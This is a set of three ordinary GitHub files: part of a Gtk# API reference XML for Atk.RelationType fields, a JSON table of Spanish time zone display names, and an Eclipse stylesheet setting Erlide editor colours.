<MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters /> <Docs> <summary> Indicates an object is a member of a group of one or more target objects.</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="NodeChildOf"> <MemberSignature Language="C#" Value="NodeChildOf" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType NodeChildOf = int32(6)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters /> <Docs> <summary>Indicates an object is a cell in a treetable which is displayed because a cell in the same column is expanded and identifies that cell.</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="NodeParentOf"> <MemberSignature Language="C#" Value="NodeParentOf" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType NodeParentOf = int32(16)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Docs> <summary>To be added.</summary> <since version="Gtk# 3.0" /> </Docs> </Member> <Member MemberName="Null"> <MemberSignature Language="C#" Value="Null" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType Null = int32(0)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters /> <Docs> <summary>No Relation</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="ParentWindowOf"> <MemberSignature Language="C#" Value="ParentWindowOf" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType ParentWindowOf = int32(13)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters> </Parameters> <Docs> <summary>To be added</summary> <remarks>To be added</remarks> <since version="Gtk# 2.6" /> </Docs> </Member> <Member MemberName="PopupFor"> <MemberSignature Language="C#" Value="PopupFor" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType PopupFor = int32(12)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters> </Parameters> <Docs> <summary>To be added</summary> <remarks>To be added</remarks> <since version="Gtk# 2.4" /> </Docs> </Member> <Member MemberName="SubwindowOf"> <MemberSignature Language="C#" Value="SubwindowOf" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType SubwindowOf = int32(9)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters> </Parameters> <Docs> <summary>To be added</summary> <remarks> </remarks> </Docs> </Member> </Members> </Type>
{ "pile_set_name": "Github" }
{ "Names": { "Africa\/Abidjan": "Hora del Meridiano de Greenwich (Abiyán)", "Africa\/Accra": "Hora del Meridiano de Greenwich (Acra)", "Africa\/Addis_Ababa": "Hora de Africa Oriental (Adís Abeba)", "Africa\/Algiers": "Hora de Europa Central (Argel)", "Africa\/Asmera": "Hora de Africa Oriental (Asmara)", "Africa\/Bamako": "Hora del Meridiano de Greenwich (Bamako)", "Africa\/Bangui": "Hora de Africa Occidental (Bangui)", "Africa\/Banjul": "Hora del Meridiano de Greenwich (Banjul)", "Africa\/Bissau": "Hora del Meridiano de Greenwich (Bissau)", "Africa\/Blantyre": "Hora de Africa Central (Blantyre)", "Africa\/Brazzaville": "Hora de Africa Occidental (Brazzaville)", "Africa\/Bujumbura": "Hora de Africa Central (Bujumbura)", "Africa\/Cairo": "Hora de Europa Oriental (El Cairo)", "Africa\/Casablanca": "Hora de Europa Occidental (Casablanca)", "Africa\/Ceuta": "Hora de Europa Central (Ceuta)", "Africa\/Conakry": "Hora del Meridiano de Greenwich (Conakry)", "Africa\/Dakar": "Hora del Meridiano de Greenwich (Dakar)", "Africa\/Dar_es_Salaam": "Hora de Africa Oriental (Dar es Salaam)", "Africa\/Djibouti": "Hora de Africa Oriental (Yibuti)", "Africa\/Douala": "Hora de Africa Occidental (Duala)", "Africa\/El_Aaiun": "Hora de Europa Occidental (El Aaiun)", "Africa\/Freetown": "Hora del Meridiano de Greenwich (Freetown)", "Africa\/Gaborone": "Hora de Africa Central (Gaborone)", "Africa\/Harare": "Hora de Africa Central (Harare)", "Africa\/Johannesburg": "Hora de Sudafrica (Johannesburgo)", "Africa\/Juba": "Hora de Africa Oriental (Juba)", "Africa\/Kampala": "Hora de Africa Oriental (Kampala)", "Africa\/Khartoum": "Hora de Africa Central (Jartum)", "Africa\/Kigali": "Hora de Africa Central (Kigali)", "Africa\/Kinshasa": "Hora de Africa Occidental (Kinshasa)", "Africa\/Lagos": "Hora de Africa Occidental (Lagos)", "Africa\/Libreville": "Hora de Africa Occidental (Libreville)", "Africa\/Lome": "Hora del Meridiano de Greenwich (Lome)", "Africa\/Luanda": "Hora de Africa Occidental (Luanda)", "Africa\/Lubumbashi": "Hora de Africa Central (Lubumbashi)", "Africa\/Lusaka": "Hora de Africa Central (Lusaka)", "Africa\/Malabo": "Hora de Africa Occidental (Malabo)", "Africa\/Maputo": "Hora de Africa Central (Maputo)", "Africa\/Maseru": "Hora de Sudafrica (Maseru)", "Africa\/Mbabane": "Hora de Sudafrica (Mbabane)", "Africa\/Mogadishu": "Hora de Africa Oriental (Mogadiscio)", "Africa\/Monrovia": "Hora del Meridiano de Greenwich (Monrovia)", "Africa\/Nairobi": "Hora de Africa Oriental (Nairobi)", "Africa\/Ndjamena": "Hora de Africa Occidental (Ndjamena)", "Africa\/Niamey": "Hora de Africa Occidental (Niamey)", "Africa\/Nouakchott": "Hora del Meridiano de Greenwich (Nouakchott)", "Africa\/Ouagadougou": "Hora del Meridiano de Greenwich (Ouagadougou)", "Africa\/Porto-Novo": "Hora de Africa Occidental (Porto-Novo)", "Africa\/Sao_Tome": "Hora del Meridiano de Greenwich (Sao Tome)", "Africa\/Tripoli": "Hora de Europa Oriental (Tripoli)", "Africa\/Tunis": "Hora de Europa Central (Tunez)", "Africa\/Windhoek": "Hora de Africa Central (Windhoek)", "America\/Adak": "Hora de Hawai-Aleutiano (Adak)", "America\/Anchorage": "Hora de Alaska (Anchorage)", "America\/Anguilla": "Hora del Atlántico (Anguila)", "America\/Antigua": "Hora del Atlántico (Antigua)", "America\/Araguaina": "Hora de Brasilia (Araguaina)", "America\/Argentina\/La_Rioja": "Hora de Argentina (La Rioja)", "America\/Argentina\/Rio_Gallegos": "Hora de Argentina (Rio Gallegos)", "America\/Argentina\/Salta": "Hora de Argentina (Salta)", "America\/Argentina\/San_Juan": "Hora de Argentina (San Juan)", "America\/Argentina\/San_Luis": "Hora de Argentina (San Luis)", "America\/Argentina\/Tucuman": "Hora de Argentina (Tucuman)", "America\/Argentina\/Ushuaia": "Hora de Argentina (Ushuaia)", "America\/Aruba": "Hora del Atlántico (Aruba)", "America\/Asuncion": "Hora de Paraguay (Asuncion)", "America\/Bahia": "Hora de Brasilia (Bahia)", "America\/Bahia_Banderas": "Hora Central (Bahia Banderas)", "America\/Barbados": "Hora del Atlántico (Barbados)", "America\/Belem": "Hora de Brasilia (Belem)", "America\/Belize": "Hora Central (Belice)", "America\/Blanc-Sablon": "Hora del Atlántico (Blanc-Sablon)", "America\/Boa_Vista": "Hora de Amazonas (Boa Vista)", "America\/Bogota": "Hora de Colombia (Bogota)", "America\/Boise": "Hora de la Montaña (Boise)", "America\/Buenos_Aires": "Hora de Argentina (Buenos Aires)", "America\/Cambridge_Bay": "Hora de la Montaña (Cambridge Bay)", "America\/Campo_Grande": "Hora de Amazonas (Campo Grande)", "America\/Cancun": "Hora del Este (Cancun)", "America\/Caracas": "Hora de Venezuela (Caracas)", "America\/Catamarca": "Hora de Argentina (Catamarca)", "America\/Cayenne": "Hora de Guayana Francesa (Cayenne)", "America\/Cayman": "Hora del Este (Cayman)", "America\/Chicago": "Hora Central (Chicago)", "America\/Chihuahua": "Hora del Pacífico Mexicano (Chihuahua)", "America\/Coral_Harbour": "Hora del Este (Atikokan)", "America\/Cordoba": "Hora de Argentina (Cordoba)", "America\/Costa_Rica": "Hora Central (Costa Rica)", "America\/Creston": "Hora de la Montaña (Creston)", "America\/Cuiaba": "Hora de Amazonas (Cuiaba)", "America\/Curacao": "Hora del Atlántico (Curazao)", "America\/Danmarkshavn": "Hora del Meridiano de Greenwich (Danmarkshavn)", "America\/Dawson": "Hora del Pacífico (Dawson)", "America\/Dawson_Creek": "Hora de la Montaña (Dawson Creek)", "America\/Denver": "Hora de la Montaña (Denver)", "America\/Detroit": "Hora del Este (Detroit)", "America\/Dominica": "Hora del Atlántico (Dominica)", "America\/Edmonton": "Hora de la Montaña (Edmonton)", "America\/Eirunepe": "Brasil (Eirunepe)", "America\/El_Salvador": "Hora Central (El Salvador)", "America\/Fort_Nelson": "Hora de la Montaña (Fort Nelson)", "America\/Fortaleza": "Hora de Brasilia (Fortaleza)", "America\/Glace_Bay": "Hora del Atlántico (Glace Bay)", "America\/Godthab": "Hora de Groenlandia Occidental (Nuuk)", "America\/Goose_Bay": "Hora del Atlántico (Goose Bay)", "America\/Grand_Turk": "Hora del Este (Grand Turk)", "America\/Grenada": "Hora del Atlántico (Granada)", "America\/Guadeloupe": "Hora del Atlántico (Guadalupe)", "America\/Guatemala": "Hora Central (Guatemala)", "America\/Guayaquil": "Hora de Ecuador (Guayaquil)", "America\/Guyana": "Hora de Guyana", "America\/Halifax": "Hora del Atlántico (Halifax)", "America\/Havana": "Hora de Cuba (La Habana)", "America\/Hermosillo": "Hora del Pacífico Mexicano (Hermosillo)", "America\/Indiana\/Knox": "Hora Central (Knox, Indiana)", "America\/Indiana\/Marengo": "Hora del Este (Marengo, Indiana)", "America\/Indiana\/Petersburg": "Hora del Este (Petersburg, Indiana)", "America\/Indiana\/Tell_City": "Hora Central (Tell City, Indiana)", "America\/Indiana\/Vevay": "Hora del Este (Vevay, Indiana)", "America\/Indiana\/Vincennes": "Hora del Este (Vincennes, Indiana)", "America\/Indiana\/Winamac": "Hora del Este (Winamac, Indiana)", "America\/Indianapolis": "Hora del Este (Indianapolis)", "America\/Inuvik": "Hora de la Montaña (Inuvik)", "America\/Iqaluit": "Hora del Este (Iqaluit)", "America\/Jamaica": "Hora del Este (Jamaica)", "America\/Jujuy": "Hora de Argentina (Jujuy)", "America\/Juneau": "Hora de Alaska (Juneau)", "America\/Kentucky\/Monticello": "Hora del Este (Monticello, Kentucky)", "America\/Kralendijk": "Hora del Atlántico (Kralendijk)", "America\/La_Paz": "Bolivia Time (La Paz)", "America\/Lima": "Hora de Perú (Lima)", "America\/Los_Angeles": "Hora del Pacífico (Los Angeles)", "America\/Louisville": "Hora del Este (Louisville)", "America\/Lower_Princes": "Hora del Atlántico (Lower Prince’s Quarter)", "America\/Maceio": "Hora de Brasilia (Maceio)", "America\/Managua": "Hora Central (Managua)", "America\/Manaus": "Hora de Amazonas (Manaus)", "America\/Marigot": "Hora del Atlántico (Marigot)", "America\/Martinique": "Hora del Atlántico (Martinica)", "America\/Matamoros": "Hora Central (Matamoros)", "America\/Mazatlan": "Hora del Pacífico Mexicano (Mazatlan)", "America\/Mendoza": "Hora de Argentina (Mendoza)", "America\/Menominee": "Hora Central (Menominee)", "America\/Merida": "Hora Central (Merida)", "America\/Metlakatla": "Hora de Alaska (Metlakatla)", "America\/Mexico_City": "Hora Central (Ciudad de Mexico)", "America\/Miquelon": "Hora de San Pedro y Miquelón (Miquelon)", "America\/Moncton": "Hora del Atlántico (Moncton)", "America\/Monterrey": "Hora Central (Monterrey)", "America\/Montevideo": "Hora de Uruguay (Montevideo)", "America\/Montreal": "Canadá (Montreal)", "America\/Montserrat": "Hora del Atlántico (Montserrat)", "America\/Nassau": "Hora del Este (Nassau)", "America\/New_York": "Hora del Este (New York)", "America\/Nipigon": "Hora del Este (Nipigon)", "America\/Nome": "Hora de Alaska (Nome)", "America\/Noronha": "Hora de Fernando de Noronha", "America\/North_Dakota\/Beulah": "Hora Central (Beulah, North Dakota)", "America\/North_Dakota\/Center": "Hora Central (Center, North Dakota)", "America\/North_Dakota\/New_Salem": "Hora Central (New Salem, North Dakota)", "America\/Ojinaga": "Hora de la Montaña (Ojinaga)", "America\/Panama": "Hora del Este (Panama)", "America\/Pangnirtung": "Hora del Este (Pangnirtung)", "America\/Paramaribo": "Hora de Surinam (Paramaribo)", "America\/Phoenix": "Hora de la Montaña (Phoenix)", "America\/Port-au-Prince": "Hora del Este (Puerto Príncipe)", "America\/Port_of_Spain": "Hora del Atlántico (Puerto España)", "America\/Porto_Velho": "Hora de Amazonas (Porto Velho)", "America\/Puerto_Rico": "Hora del Atlántico (Puerto Rico)", "America\/Punta_Arenas": "Hora de Chile (Punta Arenas)", "America\/Rainy_River": "Hora Central (Rainy River)", "America\/Rankin_Inlet": "Hora Central (Rankin Inlet)", "America\/Recife": "Hora de Brasilia (Recife)", "America\/Regina": "Hora Central (Regina)", "America\/Resolute": "Hora Central (Resolute)", "America\/Rio_Branco": "Brasil (Rio Branco)", "America\/Santa_Isabel": "Hora Estandar de Verano de México (Santa Isabel)", "America\/Santarem": "Hora de Brasilia (Santarem)", "America\/Santiago": "Hora de Chile (Santiago)", "America\/Santo_Domingo": "Hora del Atlántico (Santo Domingo)", "America\/Sao_Paulo": "Hora de Brasilia (Sao Paulo)", "America\/Scoresbysund": "Hora de Groenlandia (Ittoqqortoormiit)", "America\/Sitka": "Hora de Alaska (Sitka)", "America\/St_Barthelemy": "Hora del Atlántico (San Bartolomé)", "America\/St_Johns": "Hora de Terranova (San Juan de Terranova)", "America\/St_Kitts": "Hora del Atlántico (San Cristobal)", "America\/St_Lucia": "Hora del Atlántico (Santa Lucia)", "America\/St_Thomas": "Hora del Atlántico (Santo Tomas)", "America\/St_Vincent": "Hora del Atlántico (San Vicente)", "America\/Swift_Current": "Hora Central (Swift Current)", "America\/Tegucigalpa": "Hora Central (Tegucigalpa)", "America\/Thule": "Hora del Atlántico (Thule)", "America\/Thunder_Bay": "Hora del Este (Thunder Bay)", "America\/Tijuana": "Hora del Pacífico (Tijuana)", "America\/Toronto": "Hora del Este (Toronto)", "America\/Tortola": "Hora del Atlántico (Tortola)", "America\/Vancouver": "Hora del Pacífico (Vancouver)", "America\/Whitehorse": "Hora del Pacífico (Whitehorse)", "America\/Winnipeg": "Hora Central (Winnipeg)", "America\/Yakutat": "Hora de Alaska (Yakutat)", "America\/Yellowknife": "Hora de la Montaña (Yellowknife)", "Antarctica\/Casey": "Hora de Australia Occidental (Casey)", "Antarctica\/Davis": "Hora de Davis", "Antarctica\/DumontDUrville": "Hora de Dumont-d’Urville", "Antarctica\/Macquarie": "Hora de Isla Macquarie", "Antarctica\/Mawson": "Hora de Mawson", "Antarctica\/McMurdo": "Hora de Nueva Zelanda (McMurdo)", "Antarctica\/Palmer": "Hora de Chile (Palmer)", "Antarctica\/Rothera": "Hora de Rothera", "Antarctica\/Syowa": "Hora de Syowa", "Antarctica\/Troll": "Hora del Meridiano de Greenwich (Troll)", "Antarctica\/Vostok": "Hora de Vostok", "Arctic\/Longyearbyen": "Hora de Europa Central (Longyearbyen)", "Asia\/Aden": "Hora de Arabia (Aden)", "Asia\/Almaty": "Hora de Kazajistán Oriental (Almaty)", "Asia\/Amman": "Hora de Europa Oriental (Amán)", "Asia\/Anadyr": "Rusia (Anadyr)", "Asia\/Aqtau": "Hora de Kazajistán del Oeste (Aktau)", "Asia\/Aqtobe": "Hora de Kazajistán del Oeste (Aktobe)", "Asia\/Ashgabat": "Hora de Turkmenistán (Asjabad)", "Asia\/Atyrau": "Hora de Kazajistán del Oeste (Atyrau)", "Asia\/Baghdad": "Hora de Arabia (Bagdad)", "Asia\/Bahrain": "Hora de Arabia (Baréin)", "Asia\/Baku": "Hora de Azerbaiyán (Baku)", "Asia\/Bangkok": "Hora de Indochina (Bangkok)", "Asia\/Barnaul": "Rusia (Barnaul)", "Asia\/Beirut": "Hora de Europa Oriental (Beirut)", "Asia\/Bishkek": "Hora de Kirguistán (Bishkek)", "Asia\/Brunei": "Hora de Brunei Darussalam", "Asia\/Calcutta": "Hora Estandar de India (Kolkata)", "Asia\/Chita": "Hora de Yakutsk (Chita)", "Asia\/Choibalsan": "Hora de Ulán Bator (Choibalsan)", "Asia\/Colombo": "Hora Estandar de India (Colombo)", "Asia\/Damascus": "Hora de Europa Oriental (Damasco)", "Asia\/Dhaka": "Hora de Bangladesh (Dhaka)", "Asia\/Dili": "Hora de Timor Oriental (Dili)", "Asia\/Dubai": "Hora Estandar del Golfo (Dubai)", "Asia\/Dushanbe": "Hora de Tayikistán (Dusambé)", "Asia\/Famagusta": "Hora de Europa Oriental (Famagusta)", "Asia\/Gaza": "Hora de Europa Oriental (Gaza)", "Asia\/Hebron": "Hora de Europa Oriental (Hebron)", "Asia\/Hong_Kong": "Hora de Hong Kong", "Asia\/Hovd": "Hora de Hovd", "Asia\/Irkutsk": "Hora de Irkutsk", "Asia\/Jakarta": "Hora de Indonesia Occidental (Yakarta)", "Asia\/Jayapura": "Hora de Indonesia Oriental (Jayapura)", "Asia\/Jerusalem": "Hora de Israel (Jerusalem)", "Asia\/Kabul": "Hora de Afganistán (Kabul)", "Asia\/Kamchatka": "Rusia (Kamchatka)", "Asia\/Karachi": "Hora de Pakistán (Karachi)", "Asia\/Katmandu": "Hora de Nepal (Katmandú)", "Asia\/Khandyga": "Hora de Yakutsk (Khandyga)", "Asia\/Krasnoyarsk": "Hora de Krasnoyarsk", "Asia\/Kuala_Lumpur": "Hora de Malasia (Kuala Lumpur)", "Asia\/Kuching": "Hora de Malasia (Kuching)", "Asia\/Kuwait": "Hora de Arabia (Kuwait)", "Asia\/Macau": "Hora de China (Macao)", "Asia\/Magadan": "Hora de Magadan", "Asia\/Makassar": "Hora de Indonesia Central (Macasar)", "Asia\/Manila": "Hora de Filipinas (Manila)", "Asia\/Muscat": "Hora Estandar del Golfo (Mascate)", "Asia\/Nicosia": "Hora de Europa Oriental (Nicosia)", "Asia\/Novokuznetsk": "Hora de Krasnoyarsk (Novokuznetsk)", "Asia\/Novosibirsk": "Hora de Novosibirsk", "Asia\/Omsk": "Hora de Omsk", "Asia\/Oral": "Hora de Kazajistán del Oeste (Oral)", "Asia\/Phnom_Penh": "Hora de Indochina (Phnom Penh)", "Asia\/Pontianak": "Hora de Indonesia Occidental (Pontianak)", "Asia\/Pyongyang": "Hora de Corea (Pionyang)", "Asia\/Qatar": "Hora de Arabia (Catar)", "Asia\/Qostanay": "Hora de Kazajistán Oriental (Kostanái)", "Asia\/Qyzylorda": "Hora de Kazajistán del Oeste (Kyzylorda)", "Asia\/Rangoon": "Hora de Myanmar (Rangún)", "Asia\/Riyadh": "Hora de Arabia (Riad)", "Asia\/Saigon": "Hora de Indochina (Ho Chi Minh)", "Asia\/Sakhalin": "Hora de Sakhalin", "Asia\/Samarkand": "Hora de Uzbekistán (Samarcanda)", "Asia\/Seoul": "Hora de Corea (Seúl)", "Asia\/Shanghai": "Hora de China (Shangái)", "Asia\/Singapore": "Hora Estandar de Singapur", "Asia\/Srednekolymsk": "Hora de Magadan (Srednekolymsk)", "Asia\/Taipei": "Hora de Taipéi (Taipei)", "Asia\/Tashkent": "Hora de Uzbekistán (Taskent)", "Asia\/Tbilisi": "Hora de Georgia (Tiflis)", "Asia\/Tehran": "Hora de Irán (Teherán)", "Asia\/Thimphu": "Hora de Bután (Thimphu)", "Asia\/Tokyo": "Hora de Japón (Tokio)", "Asia\/Tomsk": "Rusia (Tomsk)", "Asia\/Ulaanbaatar": "Hora de Ulán Bator (Ulan Bator)", "Asia\/Urumqi": "China (Urumqi)", "Asia\/Ust-Nera": "Hora de Vladivostok (Ust-Nera)", "Asia\/Vientiane": "Hora de Indochina (Vientiane)", "Asia\/Vladivostok": "Hora de Vladivostok", "Asia\/Yakutsk": "Hora de Yakutsk", "Asia\/Yekaterinburg": "Hora de Ekaterinburgo", "Asia\/Yerevan": "Hora de Armenia (Ereván)", "Atlantic\/Azores": "Hora de las Azores", "Atlantic\/Bermuda": "Hora del Atlántico (Bermuda)", "Atlantic\/Canary": "Hora de Europa Occidental (Canarias)", "Atlantic\/Cape_Verde": "Hora de Cabo Verde", "Atlantic\/Faeroe": "Hora de Europa Occidental (Faroe)", "Atlantic\/Madeira": "Hora de Europa Occidental (Madeira)", "Atlantic\/Reykjavik": "Hora del Meridiano de Greenwich (Reykjavik)", "Atlantic\/South_Georgia": "Hora de Georgia del Sur", "Atlantic\/St_Helena": "Hora del Meridiano de Greenwich (Santa Elena)", "Atlantic\/Stanley": "Hora de Islas Malvinas (Stanley)", "Australia\/Adelaide": "Hora de Australia Central (Adelaida)", "Australia\/Brisbane": "Hora de Australia Oriental (Brisbane)", "Australia\/Broken_Hill": "Hora de Australia Central (Broken Hill)", "Australia\/Currie": "Hora de Australia Oriental (Currie)", "Australia\/Darwin": "Hora de Australia Central (Darwin)", "Australia\/Eucla": "Hora de Australia Central Occidental (Eucla)", "Australia\/Hobart": "Hora de Australia Oriental (Hobart)", "Australia\/Lindeman": "Hora de Australia Oriental (Lindeman)", "Australia\/Lord_Howe": "Hora de Lord Howe", "Australia\/Melbourne": "Hora de Australia Oriental (Melbourne)", "Australia\/Perth": "Hora de Australia Occidental (Perth)", "Australia\/Sydney": "Hora de Australia Oriental (Sidney)", "CST6CDT": "Hora Central", "EST5EDT": "Hora del Este", "Etc\/GMT": "Hora del Meridiano de Greenwich", "Etc\/UTC": "Tiqsimuyuntin Tupachisqa Hora", "Europe\/Amsterdam": "Hora de Europa Central (Amsterdam)", "Europe\/Andorra": "Hora de Europa Central (Andorra)", "Europe\/Astrakhan": "Hora de Moscú (Astrakhan)", "Europe\/Athens": "Hora de Europa Oriental (Athens)", "Europe\/Belgrade": "Hora de Europa Central (Belgrade)", "Europe\/Berlin": "Hora de Europa Central (Berlin)", "Europe\/Bratislava": "Hora de Europa Central (Bratislava)", "Europe\/Brussels": "Hora de Europa Central (Bruselas)", "Europe\/Bucharest": "Hora de Europa Oriental (Bucarest)", "Europe\/Budapest": "Hora de Europa Central (Budapest)", "Europe\/Busingen": "Hora de Europa Central (Busingen)", "Europe\/Chisinau": "Hora de Europa Oriental (Chisinau)", "Europe\/Copenhagen": "Hora de Europa Central (Copenhague)", "Europe\/Dublin": "Hora del Meridiano de Greenwich (Dublin)", "Europe\/Gibraltar": "Hora de Europa Central (Gibraltar)", "Europe\/Guernsey": "Hora del Meridiano de Greenwich (Guernsey)", "Europe\/Helsinki": "Hora de Europa Oriental (Helsinki)", "Europe\/Isle_of_Man": "Hora del Meridiano de Greenwich (Isla de Man)", "Europe\/Istanbul": "Turquía (Estambul)", "Europe\/Jersey": "Hora del Meridiano de Greenwich (Jersey)", "Europe\/Kaliningrad": "Hora de Europa Oriental (Kaliningrado)", "Europe\/Kiev": "Hora de Europa Oriental (Kiev)", "Europe\/Kirov": "Rusia (Kirov)", "Europe\/Lisbon": "Hora de Europa Occidental (Lisboa)", "Europe\/Ljubljana": "Hora de Europa Central (Liubliana)", "Europe\/London": "Hora del Meridiano de Greenwich (Londres)", "Europe\/Luxembourg": "Hora de Europa Central (Luxemburgo)", "Europe\/Madrid": "Hora de Europa Central (Madrid)", "Europe\/Malta": "Hora de Europa Central (Malta)", "Europe\/Mariehamn": "Hora de Europa Oriental (Mariehamn)", "Europe\/Minsk": "Hora de Moscú (Minsk)", "Europe\/Monaco": "Hora de Europa Central (Monaco)", "Europe\/Moscow": "Hora de Moscú", "Europe\/Oslo": "Hora de Europa Central (Oslo)", "Europe\/Paris": "Hora de Europa Central (Paris)", "Europe\/Podgorica": "Hora de Europa Central (Podgorica)", "Europe\/Prague": "Hora de Europa Central (Praga)", "Europe\/Riga": "Hora de Europa Oriental (Riga)", "Europe\/Rome": "Hora de Europa Central (Roma)", "Europe\/Samara": "Rusia (Samara)", "Europe\/San_Marino": "Hora de Europa Central (San Marino)", "Europe\/Sarajevo": "Hora de Europa Central (Sarajevo)", "Europe\/Saratov": "Hora de Moscú (Saratov)", "Europe\/Simferopol": "Hora de Moscú (Simferopol)", "Europe\/Skopje": "Hora de Europa Central (Skopje)", "Europe\/Sofia": "Hora de Europa Oriental (Sofia)", "Europe\/Stockholm": "Hora de Europa Central (Estocolmo)", "Europe\/Tallinn": "Hora de Europa Oriental (Tallinn)", "Europe\/Tirane": "Hora de Europa Central (Tirana)", "Europe\/Ulyanovsk": "Hora de Moscú (Ulyanovsk)", "Europe\/Uzhgorod": "Hora de Europa Oriental (Uzhgorod)", "Europe\/Vaduz": "Hora de Europa Central (Vaduz)", "Europe\/Vatican": "Hora de Europa Central (El Vaticano)", "Europe\/Vienna": "Hora de Europa Central (Viena)", "Europe\/Vilnius": "Hora de Europa Oriental (Vilnius)", "Europe\/Volgograd": "Hora de Volgogrado", "Europe\/Warsaw": "Hora de Europa Central (Varsovia)", "Europe\/Zagreb": "Hora de Europa Central (Zagreb)", "Europe\/Zaporozhye": "Hora de Europa Oriental (Zaporozhye)", "Europe\/Zurich": "Hora de Europa Central (Zurich)", "Indian\/Antananarivo": "Hora de Africa Oriental (Antananarivo)", "Indian\/Chagos": "Hora del Oceano Índico (Chagos)", "Indian\/Christmas": "Hora de Isla Christmas", "Indian\/Cocos": "Hora de Islas Cocos", "Indian\/Comoro": "Hora de Africa Oriental (Comoro)", "Indian\/Kerguelen": "Hora Francés meridional y antártico (Kerguelen)", "Indian\/Mahe": "Hora de Seychelles (Mahe)", "Indian\/Maldives": "Hora de Maldivas", "Indian\/Mauritius": "Hora de Mauricio (Mauritius)", "Indian\/Mayotte": "Hora de Africa Oriental (Mayotte)", "Indian\/Reunion": "Hora de Réunion (Reunion)", "MST7MDT": "Hora de la Montaña", "PST8PDT": "Hora del Pacífico", "Pacific\/Apia": "Hora de Apia", "Pacific\/Auckland": "Hora de Nueva Zelanda (Auckland)", "Pacific\/Bougainville": "Hora de Papua Nueva Guinea (Bougainville)", "Pacific\/Chatham": "Hora de Chatham", "Pacific\/Easter": "Hora de Isla de Pascua (Easter)", "Pacific\/Efate": "Hora de Vanuatu (Efate)", "Pacific\/Enderbury": "Hora de Islas Phoenix (Enderbury)", "Pacific\/Fakaofo": "Hora de Tokelau (Fakaofo)", "Pacific\/Fiji": "Hora de Fiji", "Pacific\/Funafuti": "Hora de Tuvalu (Funafuti)", "Pacific\/Galapagos": "Hora de Islas Galápagos (Galapagos)", "Pacific\/Gambier": "Hora de Gambier", "Pacific\/Guadalcanal": "Hora de Islas Salomón (Guadalcanal)", "Pacific\/Guam": "Hora Estandar de Chamorro (Guam)", "Pacific\/Honolulu": "Hora de Hawai-Aleutiano (Honolulu)", "Pacific\/Johnston": "Hora de Hawai-Aleutiano (Johnston)", "Pacific\/Kiritimati": "Hora de Espóradas Ecuatoriales (Kiritimati)", "Pacific\/Kosrae": "Hora de Kosrae", "Pacific\/Kwajalein": "Hora de Islas Marshall (Kwajalein)", "Pacific\/Majuro": "Hora de Islas Marshall (Majuro)", "Pacific\/Marquesas": "Hora de Marquesas", "Pacific\/Midway": "Hora de Samoa (Midway)", "Pacific\/Nauru": "Hora de Nauru", "Pacific\/Niue": "Hora de Niue", "Pacific\/Norfolk": "Hora de la Isla Norfolk", "Pacific\/Noumea": "Hora de Nueva Caledonia (Noumea)", "Pacific\/Pago_Pago": "Hora de Samoa (Pago Pago)", "Pacific\/Palau": "Hora de Palau", "Pacific\/Pitcairn": "Hora de Pitcairn", "Pacific\/Ponape": "Hora de Pohnpei", "Pacific\/Port_Moresby": "Hora de Papua Nueva Guinea (Port Moresby)", "Pacific\/Rarotonga": "Hora de Islas Cook (Rarotonga)", "Pacific\/Saipan": "Hora Estandar de Chamorro (Saipan)", "Pacific\/Tahiti": "Hora de Tahiti", "Pacific\/Tarawa": "Hora de Islas Gilbert (Tarawa)", "Pacific\/Tongatapu": "Hora de Tonga (Tongatapu)", "Pacific\/Truk": "Hora de Chuuk", "Pacific\/Wake": "Hora de Isla Wake", "Pacific\/Wallis": "Hora de Wallis y Futuna" }, "Meta": [] }
{ "pile_set_name": "Github" }
/******************************************************************************* * Copyright (c) 2016 Vlad Dumitrescu and others. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * Vlad Dumitrescu *******************************************************************************/ /* ############################## Eclipse UI properties ############################## */ IEclipsePreferences#org-erlide-ui { preferences: 'editor_colors_default_color = 66,113,174' 'editor_colors_default_style = 0' 'editor_colors_keyword_color = 137,89,168' 'editor_colors_keyword_style = 1' 'editor_colors_atom_color = 77,77,76' 'editor_colors_atom_style = 0' 'editor_colors_macro_color = 234,183,0' 'editor_colors_macro_style = 0' 'editor_colors_arrow_color = 62,153,159' 'editor_colors_arrow_style = 1' 'editor_colors_char_color = 113,140,0' 'editor_colors_char_style = 0' 'editor_colors_variable_color = 200,40,41' 'editor_colors_variable_style = 0' 'editor_colors_integer_color = 245,135,31' 'editor_colors_integer_style = 0' 'editor_colors_float_color = 245,135,31' 'editor_colors_float_style = 0' 'editor_colors_comment_color = 142,144,140' 'editor_colors_comment_style = 0' 'editor_colors_edoc_tag_color = 142,144,140' 'editor_colors_edoc_tag_style = 1' 'editor_colors_html_tag_color = 142,144,140' 'editor_colors_html_tag_style = 2' 'editor_colors_string_color = 113,140,0' 'editor_colors_string_style = 0' 'editor_colors_escape_tag_color = 113,140,50' 'editor_colors_escape_tag_style = 1' 'editor_colors_tilde_tag_color = 113,140,90' 'editor_colors_tilde_tag_style = 1' }
{ "pile_set_name": "Github" }
